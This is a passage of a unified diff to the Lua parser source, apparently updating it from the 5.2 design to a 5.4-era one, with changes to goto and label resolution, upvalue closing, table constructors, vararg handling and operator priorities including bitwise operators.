/* default is global */ else { - int v = searchvar(fs, n); /* look up locals at current level */ + int v = searchvar(fs, n, var); /* look up locals at current level */ if (v >= 0) { /* found? */ - init_exp(var, VLOCAL, v); /* variable is local */ - if (!base) - markupval(fs, v); /* local will be used as an upval */ - return VLOCAL; + if (v == VLOCAL && !base) + markupval(fs, var->u.var.vidx); /* local will be used as an upval */ } else { /* not found as local at current level; try upvalues */ int idx = searchupvalue(fs, n); /* try existing upvalues */ if (idx < 0) { /* not found? */ - if (singlevaraux(fs->prev, n, var, 0) == VVOID) /* try upper levels */ - return VVOID; /* not found; is a global */ - /* else was LOCAL or UPVAL */ - idx = newupvalue(fs, n, var); /* will be a new upvalue */ + singlevaraux(fs->prev, n, var, 0); /* try upper levels */ + if (var->k == VLOCAL || var->k == VUPVAL) /* local or upvalue? */ + idx = newupvalue(fs, n, var); /* will be a new upvalue */ + else /* it is a global or a constant */ + return; /* don't need to do anything at this level */ } - init_exp(var, VUPVAL, idx); - return VUPVAL; + init_exp(var, VUPVAL, idx); /* new or old upvalue */ } } } +/* +** Find a variable with the given name 'n', handling global variables +** too. +*/ static void singlevar(LexState *ls, expdesc *var) { TString *varname = str_checkname(ls); FuncState *fs = ls->fs; - if (singlevaraux(fs, varname, var, 1) == VVOID) { /* global name? */ + singlevaraux(fs, varname, var, 1); + if (var->k == VVOID) { /* global name? */ expdesc key; singlevaraux(fs, ls->envn, var, 1); /* get environment variable */ - lua_assert(var->k == VLOCAL || var->k == VUPVAL); - codestring(ls, &key, varname); /* key is variable name */ + lua_assert(var->k != VVOID); /* this one must exist */ + luaK_exp2anyregup(fs, var); /* but could be a constant */ + codestring(&key, varname); /* key is variable name */ luaK_indexed(fs, var, &key); /* env[varname] */ } } +/* +** Adjust the number of results from an expression list 'e' with 'nexps' +** expressions to 'nvars' values. +*/ static void adjust_assign(LexState *ls, int nvars, int nexps, expdesc *e) { FuncState *fs = ls->fs; - int extra = nvars - nexps; - if (hasmultret(e->k)) { - extra++; /* includes call itself */ - if (extra < 0) extra = 0; + int needed = nvars - nexps; /* extra values needed */ + if (hasmultret(e->k)) { /* last expression has multiple returns? */ + int extra = needed + 1; /* discount last expression itself */ + if (extra < 0) + extra = 0; luaK_setreturns(fs, e, extra); /* last exp. provides the difference */ - if (extra > 1) luaK_reserveregs(fs, extra - 1); } else { - if (e->k != VVOID) luaK_exp2nextreg(fs, e); /* close last expression */ - if (extra > 0) { - int reg = fs->freereg; - luaK_reserveregs(fs, extra); - luaK_nil(fs, reg, extra); - } + if (e->k != VVOID) /* at least one expression? */ + luaK_exp2nextreg(fs, e); /* close last expression */ + if (needed > 0) /* missing values? */ + luaK_nil(fs, fs->freereg, needed); /* complete with nils */ } + if (needed > 0) + luaK_reserveregs(fs, needed); /* registers for extra values */ + else /* adding 'needed' is actually a subtraction */ + fs->freereg += needed; /* remove extra values */ } -static void enterlevel(LexState *ls) { - lua_State *L = ls->L; - ++L->nCcalls; - checklimit(ls->fs, L->nCcalls, LUAI_MAXCCALLS, "C levels"); -} +#define enterlevel(ls) luaE_incCstack(ls->L) #define leavelevel(ls) ((ls)->L->nCcalls--) -static void closegoto(LexState *ls, int g, Labeldesc *label) { +/* +** Generates an error that a goto jumps into the scope of some +** local variable. +*/ +static l_noret jumpscopeerror(LexState *ls, Labeldesc *gt) { + const char *varname = getstr(getlocalvardesc(ls->fs, gt->nactvar)->vd.name); + const char *msg = " at line %d jumps into the scope of local '%s'"; + msg = luaO_pushfstring(ls->L, msg, getstr(gt->name), gt->line, varname); + luaK_semerror(ls, msg); /* raise the error */ +} + + +/* +** Solves the goto at index 'g' to given 'label' and removes it +** from the list of pending gotos. +** If it jumps into the scope of some variable, raises an error. +*/ +static void solvegoto(LexState *ls, int g, Labeldesc *label) { int i; - FuncState *fs = ls->fs; - Labellist *gl = &ls->dyd->gt; - Labeldesc *gt = &gl->arr[g]; - lua_assert(luaS_eqstr(gt->name, label->name)); - if (gt->nactvar < label->nactvar) { - TString *vname = getlocvar(fs, gt->nactvar)->varname; - const char *msg = luaO_pushfstring(ls->L, - " at line %d jumps into the scope of local " LUA_QS, - getstr(gt->name), gt->line, getstr(vname)); - semerror(ls, msg); - } - luaK_patchlist(fs, gt->pc, label->pc); - /* remove goto from pending list */ - for (i = g; i < gl->n - 1; i++) + Labellist *gl = &ls->dyd->gt; /* list of gotos */ + Labeldesc *gt = &gl->arr[g]; /* goto to be resolved */ + lua_assert(eqstr(gt->name, label->name)); + if (l_unlikely(gt->nactvar < label->nactvar)) /* enter some scope? */ + jumpscopeerror(ls, gt); + luaK_patchlist(ls->fs, gt->pc, label->pc); + for (i = g; i < gl->n - 1; i++) /* remove goto from pending list */ gl->arr[i] = gl->arr[i + 1]; gl->n--; } /* -** try to close a goto with existing labels; this solves backward jumps +** Search for an active label with the given name. */ -static int findlabel(LexState *ls, int g) { +static Labeldesc *findlabel(LexState *ls, TString *name) { int i; - BlockCnt *bl = ls->fs->bl; Dyndata *dyd = ls->dyd; - Labeldesc *gt = &dyd->gt.arr[g]; - /* check labels in current block for a match */ - for (i = bl->firstlabel; i < dyd->label.n; i++) { + /* check labels in current function for a match */ + for (i = ls->fs->firstlabel; i < dyd->label.n; i++) { Labeldesc *lb = &dyd->label.arr[i]; - if (luaS_eqstr(lb->name, gt->name)) { /* correct label? */ - if (gt->nactvar > lb->nactvar && - (bl->upval || dyd->label.n > bl->firstlabel)) - luaK_patchclose(ls->fs, gt->pc, lb->nactvar); - closegoto(ls, g, lb); /* close it */ - return 1; - } + if (eqstr(lb->name, name)) /* correct label? */ + return lb; } - return 0; /* label not found; cannot close goto */ + return NULL; /* label not found */ } +/* +** Adds a new label/goto in the corresponding list. +*/ static int newlabelentry(LexState *ls, Labellist *l, TString *name, int line, int pc) { int n = l->n; @@ -386,48 +561,75 @@ static int newlabelentry(LexState *ls, Labellist *l, TString *name, l->arr[n].name = name; l->arr[n].line = line; l->arr[n].nactvar = ls->fs->nactvar; + l->arr[n].close = 0; l->arr[n].pc = pc; - l->n++; + l->n = n + 1; return n; } -/* -** check whether new label 'lb' matches any pending gotos in current -** block; solves forward jumps -*/ -static void findgotos(LexState *ls, Labeldesc *lb) { - Labellist *gl = &ls->dyd->gt; - int i = ls->fs->bl->firstgoto; - while (i < gl->n) { - if (luaS_eqstr(gl->arr[i].name, lb->name)) - closegoto(ls, i, lb); - else - i++; - } +static int newgotoentry(LexState *ls, TString *name, int line, int pc) { + return newlabelentry(ls, &ls->dyd->gt, name, line, pc); } /* -** "export" pending gotos to outer level, to check them against -** outer labels; if the block being exited has upvalues, and -** the goto exits the scope of any variable (which can be the -** upvalue), close those variables being exited. +** Solves forward jumps. Check whether new label 'lb' matches any +** pending gotos in current block and solves them. Return true +** if any of the gotos need to close upvalues. +*/ +static int solvegotos(LexState *ls, Labeldesc *lb) { + Labellist *gl = &ls->dyd->gt; + int i = ls->fs->bl->firstgoto; + int needsclose = 0; + while (i < gl->n) { + if (eqstr(gl->arr[i].name, lb->name)) { + needsclose |= gl->arr[i].close; + solvegoto(ls, i, lb); /* will remove 'i' from the list */ + } else + i++; + } + return needsclose; +} + + +/* +** Create a new label with the given 'name' at the given 'line'. +** 'last' tells whether label is the last non-op statement in its +** block. Solves all pending gotos to this new label and adds +** a close instruction if necessary. +** Returns true iff it added a close instruction. +*/ +static int createlabel(LexState *ls, TString *name, int line, + int last) { + FuncState *fs = ls->fs; + Labellist *ll = &ls->dyd->label; + int l = newlabelentry(ls, ll, name, line, luaK_getlabel(fs)); + if (last) { /* label is last no-op statement in the block? */ + /* assume that locals are already out of scope */ + ll->arr[l].nactvar = fs->bl->nactvar; + } + if (solvegotos(ls, &ll->arr[l])) { /* need close? */ + luaK_codeABC(fs, OP_CLOSE, luaY_nvarstack(fs), 0, 0); + return 1; + } + return 0; +} + + +/* +** Adjust pending gotos to outer level of a block. */ static void movegotosout(FuncState *fs, BlockCnt *bl) { - int i = bl->firstgoto; + int i; Labellist *gl = &fs->ls->dyd->gt; - /* correct pending gotos to current block and try to close it - with visible labels */ - while (i < gl->n) { + /* correct pending gotos to current block */ + for (i = bl->firstgoto; i < gl->n; i++) { /* for each pending goto */ Labeldesc *gt = &gl->arr[i]; - if (gt->nactvar > bl->nactvar) { - if (bl->upval) - luaK_patchclose(fs, gt->pc, bl->nactvar); - gt->nactvar = bl->nactvar; - } - if (!findlabel(fs->ls, i)) - i++; /* move to next one */ + /* leaving a variable scope? */ + if (reglevel(fs, gt->nactvar) > reglevel(fs, bl->nactvar)) + gt->close |= bl->upval; /* jump may need a close */ + gt->nactvar = bl->nactvar; /* update goto level */ } } @@ -438,54 +640,49 @@ static void enterblock(FuncState *fs, BlockCnt *bl, lu_byte isloop) { bl->firstlabel = fs->ls->dyd->label.n; bl->firstgoto = fs->ls->dyd->gt.n; bl->upval = 0; + bl->insidetbc = (fs->bl != NULL && fs->bl->insidetbc); bl->previous = fs->bl; fs->bl = bl; - lua_assert(fs->freereg == fs->nactvar); + lua_assert(fs->freereg == luaY_nvarstack(fs)); } /* -** create a label named "break" to resolve break statements -*/ -static void breaklabel(LexState *ls) { - TString *n = luaS_new(ls->L, "break"); - int l = newlabelentry(ls, &ls->dyd->label, n, 0, ls->fs->pc); - findgotos(ls, &ls->dyd->label.arr[l]); -} - -/* -** generates an error for an undefined 'goto'; choose appropriate -** message when label name is a reserved word (which can only be 'break') +** generates an error for an undefined 'goto'. */ static l_noret undefgoto(LexState *ls, Labeldesc *gt) { - const char *msg = isreserved(gt->name) - ? "<%s> at line %d not inside a loop" - : "no visible label " LUA_QS " for at line %d"; - msg = luaO_pushfstring(ls->L, msg, getstr(gt->name), gt->line); - semerror(ls, msg); + const char *msg; + if (eqstr(gt->name, luaS_newliteral(ls->L, "break"))) { + msg = "break outside loop at line %d"; + msg = luaO_pushfstring(ls->L, msg, gt->line); + } else { + msg = "no visible label '%s' for at line %d"; + msg = luaO_pushfstring(ls->L, msg, getstr(gt->name), gt->line); + } + luaK_semerror(ls, msg); } static void leaveblock(FuncState *fs) { BlockCnt *bl = fs->bl; LexState *ls = fs->ls; - if (bl->previous && bl->upval) { - /* create a 'jump to here' to close upvalues */ - int j = luaK_jump(fs); - luaK_patchclose(fs, j, bl->nactvar); - luaK_patchtohere(fs, j); - } - if (bl->isloop) - breaklabel(ls); /* close pending breaks */ - fs->bl = bl->previous; - removevars(fs, bl->nactvar); - lua_assert(bl->nactvar == fs->nactvar); - fs->freereg = fs->nactvar; /* free registers */ + int hasclose = 0; + int stklevel = reglevel(fs, bl->nactvar); /* level outside the block */ + removevars(fs, bl->nactvar); /* remove block locals */ + lua_assert(bl->nactvar == fs->nactvar); /* back to level on entry */ + if (bl->isloop) /* has to fix pending breaks? */ + hasclose = createlabel(ls, luaS_newliteral(ls->L, "break"), 0, 0); + if (!hasclose && bl->previous && bl->upval) /* still need a 'close'? */ + luaK_codeABC(fs, OP_CLOSE, stklevel, 0, 0); + fs->freereg = stklevel; /* free registers */ ls->dyd->label.n = bl->firstlabel; /* remove local labels */ - if (bl->previous) /* inner block? */ - movegotosout(fs, bl); /* update pending gotos to outer block */ - else if (bl->firstgoto < ls->dyd->gt.n) /* pending gotos in outer block? */ - undefgoto(ls, &ls->dyd->gt.arr[bl->firstgoto]); /* error */ + fs->bl = bl->previous; /* current block now is previous one */ + if (bl->previous) /* was it a nested block? */ + movegotosout(fs, bl); /* update pending gotos to enclosing block */ + else { + if (bl->firstgoto < ls->dyd->gt.n) /* still pending gotos? */ + undefgoto(ls, &ls->dyd->gt.arr[bl->firstgoto]); /* error */ + } } @@ -500,7 +697,8 @@ static Proto *addprototype(LexState *ls) { if (fs->np >= f->sizep) { int oldsize = f->sizep; luaM_growvector(L, f->p, fs->np, f->sizep, Proto *, MAXARG_Bx, "functions"); - while (oldsize < f->sizep) f->p[oldsize++] = NULL; + while (oldsize < f->sizep) + f->p[oldsize++] = NULL; } f->p[fs->np++] = clp = luaF_newproto(L); luaC_objbarrier(L, f, clp); @@ -510,41 +708,41 @@ static Proto *addprototype(LexState *ls) { /* ** codes instruction to create new closure in parent function. -** The OP_CLOSURE instruction must use the last available register, +** The OP_CLOSURE instruction uses the last available register, ** so that, if it invokes the GC, the GC knows which registers ** are in use at that time. + */ static void codeclosure(LexState *ls, expdesc *v) { FuncState *fs = ls->fs->prev; - init_exp(v, VRELOCABLE, luaK_codeABx(fs, OP_CLOSURE, 0, fs->np - 1)); + init_exp(v, VRELOC, luaK_codeABx(fs, OP_CLOSURE, 0, fs->np - 1)); luaK_exp2nextreg(fs, v); /* fix it at the last register */ } static void open_func(LexState *ls, FuncState *fs, BlockCnt *bl) { - lua_State *L = ls->L; - Proto *f; + Proto *f = fs->f; fs->prev = ls->fs; /* linked list of funcstates */ fs->ls = ls; ls->fs = fs; fs->pc = 0; + fs->previousline = f->linedefined; + fs->iwthabs = 0; fs->lasttarget = 0; - fs->jpc = NO_JUMP; fs->freereg = 0; fs->nk = 0; + fs->nabslineinfo = 0; fs->np = 0; fs->nups = 0; - fs->nlocvars = 0; + fs->ndebugvars = 0; fs->nactvar = 0; + fs->needclose = 0; fs->firstlocal = ls->dyd->actvar.n; + fs->firstlabel = ls->dyd->label.n; fs->bl = NULL; - f = fs->f; f->source = ls->source; + luaC_objbarrier(ls->L, f, f->source); f->maxstacksize = 2; /* registers 0/1 are always valid */ - fs->h = luaH_new(L); - /* anchor table of constants (to avoid being collected) */ - sethvalue2s(L, L->top, fs->h); - incr_top(L); enterblock(fs, bl, 0); } @@ -553,25 +751,19 @@ static void close_func(LexState *ls) { lua_State *L = ls->L; FuncState *fs = ls->fs; Proto *f = fs->f; - luaK_ret(fs, 0, 0); /* final return */ + luaK_ret(fs, luaY_nvarstack(fs), 0); /* final return */ leaveblock(fs); - luaM_reallocvector(L, f->code, f->sizecode, fs->pc, Instruction); - f->sizecode = fs->pc; - luaM_reallocvector(L, f->lineinfo, f->sizelineinfo, fs->pc, int); - f->sizelineinfo = fs->pc; - luaM_reallocvector(L, f->k, f->sizek, fs->nk, TValue); - f->sizek = fs->nk; - luaM_reallocvector(L, f->p, f->sizep, fs->np, Proto *); - f->sizep = fs->np; - luaM_reallocvector(L, f->locvars, f->sizelocvars, fs->nlocvars, LocVar); - f->sizelocvars = fs->nlocvars; - luaM_reallocvector(L, f->upvalues, f->sizeupvalues, fs->nups, Upvaldesc); - f->sizeupvalues = fs->nups; lua_assert(fs->bl == NULL); + luaK_finish(fs); + luaM_shrinkvector(L, f->code, f->sizecode, fs->pc, Instruction); + luaM_shrinkvector(L, f->lineinfo, f->sizelineinfo, fs->pc, ls_byte); + luaM_shrinkvector(L, f->abslineinfo, f->sizeabslineinfo, + fs->nabslineinfo, AbsLineInfo); + luaM_shrinkvector(L, f->k, f->sizek, fs->nk, TValue); + luaM_shrinkvector(L, f->p, f->sizep, fs->np, Proto *); + luaM_shrinkvector(L, f->locvars, f->sizelocvars, fs->ndebugvars, LocVar); + luaM_shrinkvector(L, f->upvalues, f->sizeupvalues, fs->nups, Upvaldesc); ls->fs = fs->prev; - /* last token read was anchored in defunct function; must re-anchor it */ - anchor_token(ls); - L->top--; /* pop table of constants */ luaC_checkGC(L); } @@ -585,7 +777,7 @@ static void close_func(LexState *ls) { /* ** check whether current token is in the follow set of a block. ** 'until' closes syntactical blocks, but do not close scope, -** so it handled in separate. +** so it is handled in separate. */ static int block_follow(LexState *ls, int withuntil) { switch (ls->t.token) { @@ -603,7 +795,7 @@ static int block_follow(LexState *ls, int withuntil) { static void statlist(LexState *ls) { - /* statlist -> { stat [`;'] } */ + /* statlist -> { stat [';'] } */ while (!block_follow(ls, 1)) { if (ls->t.token == TK_RETURN) { statement(ls); @@ -620,7 +812,7 @@ static void fieldsel(LexState *ls, expdesc *v) { expdesc key; luaK_exp2anyregup(fs, v); luaX_next(ls); /* skip the dot or colon */ - checkname(ls, &key); + codename(ls, &key); luaK_indexed(fs, v, &key); } @@ -641,47 +833,48 @@ static void yindex(LexState *ls, expdesc *v) { */ -struct ConsControl { +typedef struct ConsControl { expdesc v; /* last list item read */ expdesc *t; /* table descriptor */ - int nh; /* total number of `record' elements */ - int na; /* total number of array elements */ + int nh; /* total number of 'record' elements */ + int na; /* number of array elements already stored */ int tostore; /* number of array elements pending to be stored */ -}; +} ConsControl; -static void recfield(LexState *ls, struct ConsControl *cc) { - /* recfield -> (NAME | `['exp1`]') = exp1 */ +static void recfield(LexState *ls, ConsControl *cc) { + /* recfield -> (NAME | '['exp']') = exp */ FuncState *fs = ls->fs; int reg = ls->fs->freereg; - expdesc key, val; - int rkkey; + expdesc tab, key, val; if (ls->t.token == TK_NAME) { checklimit(fs, cc->nh, MAX_INT, "items in a constructor"); - checkname(ls, &key); + codename(ls, &key); } else /* ls->t.token == '[' */ yindex(ls, &key); cc->nh++; checknext(ls, '='); - rkkey = luaK_exp2RK(fs, &key); + tab = *cc->t; + luaK_indexed(fs, &tab, &key); expr(ls, &val); - luaK_codeABC(fs, OP_SETTABLE, cc->t->u.info, rkkey, luaK_exp2RK(fs, &val)); + luaK_storevar(fs, &tab, &val); fs->freereg = reg; /* free registers */ } -static void closelistfield(FuncState *fs, struct ConsControl *cc) { +static void closelistfield(FuncState *fs, ConsControl *cc) { if (cc->v.k == VVOID) return; /* there is no list item */ luaK_exp2nextreg(fs, &cc->v); cc->v.k = VVOID; if (cc->tostore == LFIELDS_PER_FLUSH) { luaK_setlist(fs, cc->t->u.info, cc->na, cc->tostore); /* flush */ + cc->na += cc->tostore; cc->tostore = 0; /* no more items pending */ } } -static void lastlistfield(FuncState *fs, struct ConsControl *cc) { +static void lastlistfield(FuncState *fs, ConsControl *cc) { if (cc->tostore == 0) return; if (hasmultret(cc->v.k)) { luaK_setmultret(fs, &cc->v); @@ -692,19 +885,18 @@ static void lastlistfield(FuncState *fs, struct ConsControl *cc) { luaK_exp2nextreg(fs, &cc->v); luaK_setlist(fs, cc->t->u.info, cc->na, cc->tostore); } + cc->na += cc->tostore; } -static void listfield(LexState *ls, struct ConsControl *cc) { +static void listfield(LexState *ls, ConsControl *cc) { /* listfield -> exp */ expr(ls, &cc->v); - checklimit(ls->fs, cc->na, MAX_INT, "items in a constructor"); - cc->na++; cc->tostore++; } -static void field(LexState *ls, struct ConsControl *cc) { +static void field(LexState *ls, ConsControl *cc) { /* field -> listfield | recfield */ switch (ls->t.token) { case TK_NAME: { /* may be 'listfield' or 'recfield' */ @@ -732,12 +924,13 @@ static void constructor(LexState *ls, expdesc *t) { FuncState *fs = ls->fs; int line = ls->linenumber; int pc = luaK_codeABC(fs, OP_NEWTABLE, 0, 0, 0); - struct ConsControl cc; + ConsControl cc; + luaK_code(fs, 0); /* space for extra arg. */ cc.na = cc.nh = cc.tostore = 0; cc.t = t; - init_exp(t, VRELOCABLE, pc); + init_exp(t, VNONRELOC, fs->freereg); /* table will be at stack top */ + luaK_reserveregs(fs, 1); init_exp(&cc.v, VVOID, 0); /* no value (yet) */ - luaK_exp2nextreg(ls->fs, t); /* fix it at stack top */ checknext(ls, '{'); do { lua_assert(cc.v.k == VVOID || cc.tostore > 0); @@ -747,46 +940,52 @@ static void constructor(LexState *ls, expdesc *t) { } while (testnext(ls, ',') || testnext(ls, ';')); check_match(ls, '}', '{', line); lastlistfield(fs, &cc); - SETARG_B(fs->f->code[pc], luaO_int2fb(cc.na)); /* set initial array size */ - SETARG_C(fs->f->code[pc], luaO_int2fb(cc.nh)); /* set initial table size */ + luaK_settablesize(fs, pc, t->u.info, cc.na, cc.nh); } /* }====================================================================== */ +static void setvararg(FuncState *fs, int nparams) { + fs->f->is_vararg = 1; + luaK_codeABC(fs, OP_VARARGPREP, nparams, 0, 0); +} + static void parlist(LexState *ls) { - /* parlist -> [ param { `,' param } ] */ + /* parlist -> [ {NAME ','} (NAME | '...') ] */ FuncState *fs = ls->fs; Proto *f = fs->f; int nparams = 0; - f->is_vararg = 0; - if (ls->t.token != ')') { /* is `parlist' not empty? */ + int isvararg = 0; + if (ls->t.token != ')') { /* is 'parlist' not empty? */ do { switch (ls->t.token) { - case TK_NAME: { /* param -> NAME */ + case TK_NAME: { new_localvar(ls, str_checkname(ls)); nparams++; break; } - case TK_DOTS: { /* param -> `...' */ + case TK_DOTS: { luaX_next(ls); - f->is_vararg = 1; + isvararg = 1; break; } default: - luaX_syntaxerror(ls, " or " LUA_QL("...") " expected"); + luaX_syntaxerror(ls, " or '...' expected"); } - } while (!f->is_vararg && testnext(ls, ',')); + } while (!isvararg && testnext(ls, ',')); } adjustlocalvars(ls, nparams); f->numparams = cast_byte(fs->nactvar); - luaK_reserveregs(fs, fs->nactvar); /* reserve register for parameters */ + if (isvararg) + setvararg(fs, f->numparams); /* declared vararg */ + luaK_reserveregs(fs, fs->nactvar); /* reserve registers for parameters */ } static void body(LexState *ls, expdesc *e, int ismethod, int line) { - /* body -> `(' parlist `)' block END */ + /* body -> '(' parlist ')' block END */ FuncState new_fs; BlockCnt bl; new_fs.f = addprototype(ls); @@ -808,7 +1007,7 @@ static void body(LexState *ls, expdesc *e, int ismethod, int line) { static int explist(LexState *ls, expdesc *v) { - /* explist -> expr { `,' expr } */ + /* explist -> expr { ',' expr } */ int n = 1; /* at least one expression */ expr(ls, v); while (testnext(ls, ',')) { @@ -820,18 +1019,20 @@ static int explist(LexState *ls, expdesc *v) { } -static void funcargs(LexState *ls, expdesc *f, int line) { +static void funcargs(LexState *ls, expdesc *f) { FuncState *fs = ls->fs; expdesc args; int base, nparams; + int line = ls->linenumber; switch (ls->t.token) { - case '(': { /* funcargs -> `(' [ explist ] `)' */ + case '(': { /* funcargs -> '(' [ explist ] ')' */ luaX_next(ls); if (ls->t.token == ')') /* arg list is empty? */ args.k = VVOID; else { explist(ls, &args); - luaK_setmultret(fs, &args); + if (hasmultret(args.k)) + luaK_setmultret(fs, &args); } check_match(ls, ')', '(', line); break; @@ -841,8 +1042,8 @@ static void funcargs(LexState *ls, expdesc *f, int line) { break; } case TK_STRING: { /* funcargs -> STRING */ - codestring(ls, &args, ls->t.seminfo.ts); - luaX_next(ls); /* must use `seminfo' before `next' */ + codestring(&args, ls->t.seminfo.ts); + luaX_next(ls); /* must use 'seminfo' before 'next' */ break; } default: { @@ -860,8 +1061,8 @@ static void funcargs(LexState *ls, expdesc *f, int line) { } init_exp(f, VCALL, luaK_codeABC(fs, OP_CALL, base, nparams + 1, 2)); luaK_fixline(fs, line); - fs->freereg = base + 1; /* call remove function and arguments and leaves - (unless changed) one result */ + fs->freereg = base + 1; /* call removes function and arguments and leaves + one result (unless changed later) */ } @@ -900,7 +1101,6 @@ static void suffixedexp(LexState *ls, expdesc *v) { /* suffixedexp -> primaryexp { '.' NAME | '[' exp ']' | ':' NAME funcargs | funcargs } */ FuncState *fs = ls->fs; - int line = ls->linenumber; primaryexp(ls, v); for (;;) { switch (ls->t.token) { @@ -908,26 +1108,26 @@ static void suffixedexp(LexState *ls, expdesc *v) { fieldsel(ls, v); break; } - case '[': { /* `[' exp1 `]' */ + case '[': { /* '[' exp ']' */ expdesc key; luaK_exp2anyregup(fs, v); yindex(ls, &key); luaK_indexed(fs, v, &key); break; } - case ':': { /* `:' NAME funcargs */ + case ':': { /* ':' NAME funcargs */ expdesc key; luaX_next(ls); - checkname(ls, &key); + codename(ls, &key); luaK_self(fs, v, &key); - funcargs(ls, v, line); + funcargs(ls, v); break; } case '(': case TK_STRING: case '{': { /* funcargs */ luaK_exp2nextreg(fs, v); - funcargs(ls, v, line); + funcargs(ls, v); break; } default: @@ -938,16 +1138,21 @@ static void suffixedexp(LexState *ls, expdesc *v) { static void simpleexp(LexState *ls, expdesc *v) { - /* simpleexp -> NUMBER | STRING | NIL | TRUE | FALSE | ... | + /* simpleexp -> FLT | INT | STRING | NIL | TRUE | FALSE | ... | constructor | FUNCTION body | suffixedexp */ switch (ls->t.token) { - case TK_NUMBER: { - init_exp(v, VKNUM, 0); + case TK_FLT: { + init_exp(v, VKFLT, 0); v->u.nval = ls->t.seminfo.r; break; } + case TK_INT: { + init_exp(v, VKINT, 0); + v->u.ival = ls->t.seminfo.i; + break; + } case TK_STRING: { - codestring(ls, v, ls->t.seminfo.ts); + codestring(v, ls->t.seminfo.ts); break; } case TK_NIL: { @@ -965,8 +1170,8 @@ static void simpleexp(LexState *ls, expdesc *v) { case TK_DOTS: { /* vararg */ FuncState *fs = ls->fs; check_condition(ls, fs->f->is_vararg, - "cannot use " LUA_QL("...") " outside a vararg function"); - init_exp(v, VVARARG, luaK_codeABC(fs, OP_VARARG, 0, 1, 0)); + "cannot use '...' outside a vararg function"); + init_exp(v, VVARARG, luaK_codeABC(fs, OP_VARARG, 0, 0, 1)); break; } case '{': { /* constructor */ @@ -993,6 +1198,8 @@ static UnOpr getunopr(int op) { return OPR_NOT; case '-': return OPR_MINUS; + case '~': + return OPR_BNOT; case '#': return OPR_LEN; default: @@ -1009,12 +1216,24 @@ static BinOpr getbinopr(int op) { return OPR_SUB; case '*': return OPR_MUL; - case '/': - return OPR_DIV; case '%': return OPR_MOD; case '^': return OPR_POW; + case '/': + return OPR_DIV; + case TK_IDIV: + return OPR_IDIV; + case '&': + return OPR_BAND; + case '|': + return OPR_BOR; + case '~': + return OPR_BXOR; + case TK_SHL: + return OPR_SHL; + case TK_SHR: + return OPR_SHR; case TK_CONCAT: return OPR_CONCAT; case TK_NE: @@ -1039,42 +1258,50 @@ static BinOpr getbinopr(int op) { } +/* +** Priority table for binary operators. +*/ static const struct { lu_byte left; /* left priority for each binary operator */ lu_byte right; /* right priority */ } priority[] = { /* ORDER OPR */ - {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, /* `+' `-' `*' `/' `%' */ - {10, 9}, {5, 4}, /* ^, .. (right associative) */ - {3, 3}, {3, 3}, {3, 3}, /* ==, <, <= */ - {3, 3}, {3, 3}, {3, 3}, /* ~=, >, >= */ - {2, 2}, {1, 1} /* and, or */ + {10, 10}, {10, 10}, /* '+' '-' */ + {11, 11}, {11, 11}, /* '*' '%' */ + {14, 13}, /* '^' (right associative) */ + {11, 11}, {11, 11}, /* '/' '//' */ + {6, 6}, {4, 4}, {5, 5}, /* '&' '|' '~' */ + {7, 7}, {7, 7}, /* '<<' '>>' */ + {9, 8}, /* '..' (right associative) */ + {3, 3}, {3, 3}, {3, 3}, /* ==, <, <= */ + {3, 3}, {3, 3}, {3, 3}, /* ~=, >, >= */ + {2, 2}, {1, 1} /* and, or */ }; -#define UNARY_PRIORITY 8 /* priority for unary operators */ +#define UNARY_PRIORITY 12 /* priority for unary operators */ /* ** subexpr -> (simpleexp | unop subexpr) { binop subexpr } -** where `binop' is any binary operator with a priority higher than `limit' +** where 'binop' is any binary operator with a priority higher than 'limit' */ static BinOpr subexpr(LexState *ls, expdesc *v, int limit) { BinOpr op; UnOpr uop; enterlevel(ls); uop = getunopr(ls->t.token); - if (uop != OPR_NOUNOPR) { + if (uop != OPR_NOUNOPR) { /* prefix (unary) operator? */ int line = ls->linenumber; - luaX_next(ls); + luaX_next(ls); /* skip operator */ subexpr(ls, v, UNARY_PRIORITY); luaK_prefix(ls->fs, uop, v, line); } else simpleexp(ls, v); - /* expand while operators have priorities higher than `limit' */ + /* expand while operators have priorities higher than 'limit' */ op = getbinopr(ls->t.token); while (op != OPR_NOBINOPR && priority[op].left > limit) { expdesc v2; BinOpr nextop; int line = ls->linenumber; - luaX_next(ls); + luaX_next(ls); /* skip operator */ luaK_infix(ls->fs, op, v); /* read sub-expression with higher priority */ nextop = subexpr(ls, &v2, priority[op].right); @@ -1132,50 +1359,64 @@ static void check_conflict(LexState *ls, struct LHS_assign *lh, expdesc *v) { int extra = fs->freereg; /* eventual position to save local variable */ int conflict = 0; for (; lh; lh = lh->prev) { /* check all previous assignments */ - if (lh->v.k == VINDEXED) { /* assigning to a table? */ - /* table is the upvalue/local being assigned now? */ - if (lh->v.u.ind.vt == v->k && lh->v.u.ind.t == v->u.info) { - conflict = 1; - lh->v.u.ind.vt = VLOCAL; - lh->v.u.ind.t = extra; /* previous assignment will use safe copy */ - } - /* index is the local being assigned? (index cannot be upvalue) */ - if (v->k == VLOCAL && lh->v.u.ind.idx == v->u.info) { - conflict = 1; - lh->v.u.ind.idx = extra; /* previous assignment will use safe copy */ + if (vkisindexed(lh->v.k)) { /* assignment to table field? */ + if (lh->v.k == VINDEXUP) { /* is table an upvalue? */ + if (v->k == VUPVAL && lh->v.u.ind.t == v->u.info) { + conflict = 1; /* table is the upvalue being assigned now */ + lh->v.k = VINDEXSTR; + lh->v.u.ind.t = extra; /* assignment will use safe copy */ + } + } else { /* table is a register */ + if (v->k == VLOCAL && lh->v.u.ind.t == v->u.var.ridx) { + conflict = 1; /* table is the local being assigned now */ + lh->v.u.ind.t = extra; /* assignment will use safe copy */ + } + /* is index the local being assigned? */ + if (lh->v.k == VINDEXED && v->k == VLOCAL && + lh->v.u.ind.idx == v->u.var.ridx) { + conflict = 1; + lh->v.u.ind.idx = extra; /* previous assignment will use safe copy */ + } } } } if (conflict) { /* copy upvalue/local value to a temporary (in position 'extra') */ - OpCode op = (v->k == VLOCAL) ? OP_MOVE : OP_GETUPVAL; - luaK_codeABC(fs, op, extra, v->u.info, 0); + if (v->k == VLOCAL) + luaK_codeABC(fs, OP_MOVE, extra, v->u.var.ridx, 0); + else + luaK_codeABC(fs, OP_GETUPVAL, extra, v->u.info, 0); luaK_reserveregs(fs, 1); } } - -static void assignment(LexState *ls, struct LHS_assign *lh, int nvars) { +/* +** Parse and compile a multiple assignment. The first "variable" +** (a 'suffixedexp') was already read by the caller. +** +** assignment -> suffixedexp restassign +** restassign -> ',' suffixedexp restassign | '=' explist +*/ +static void restassign(LexState *ls, struct LHS_assign *lh, int nvars) { 